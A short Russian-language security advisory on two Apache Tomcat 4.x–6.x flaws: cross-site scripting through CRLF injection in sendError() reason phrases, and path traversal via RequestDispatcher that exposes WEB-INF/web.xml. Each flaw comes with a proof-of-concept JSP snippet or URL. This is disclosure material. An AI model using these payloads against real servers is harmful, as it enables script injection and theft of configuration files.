Программа:
Apache Tomcat 4.x
Apache Tomcat 5.x
Apache Tomcat 6.x
Уязвимость позволяет удаленному пользователю обойти ограничения безопасности
и выполнить XSS нападение на целевую систему.
1) Уязвимость существует из-за недостаточной обработки входных данных,
передаваемых в функцию "HttpServletResponse.sendError()" перед возвращением
пользователю в HTTP "Reason-Phrase". Атакующий может выполнить произвольный
сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
Эксплоит:
<%@page contentType="text/html"%>
<%
~ // some unicode characters, that result in CRLF being printed
~ final String CRLF = "\u010D\u010A";
~ final String payload = CRLF + CRLF + "<script
type='text/javascript'>document.write('Hi, there!')</script><div
style='display:none'>";
~ final String message = "Authorization is required to access " + payload;
~ response.sendError(403, message);
%>
2) Уязвимость существует из-за того, что приложение нормализует целевой путь
до удаления строки запроса, когда используется "RequestDispatcher". Атакующий
может получить доступ к запрещенным файлам на целевой системе.
Эксплоит:
Для страницы, содержащей:
<%
pageContext.forward("/page2.jsp?somepar=someval&par="+request.getParameter("blah"));
%>
Атакующий может использовать ссылку:
http://host/page.jsp?blah=/../WEB-INF/web.xml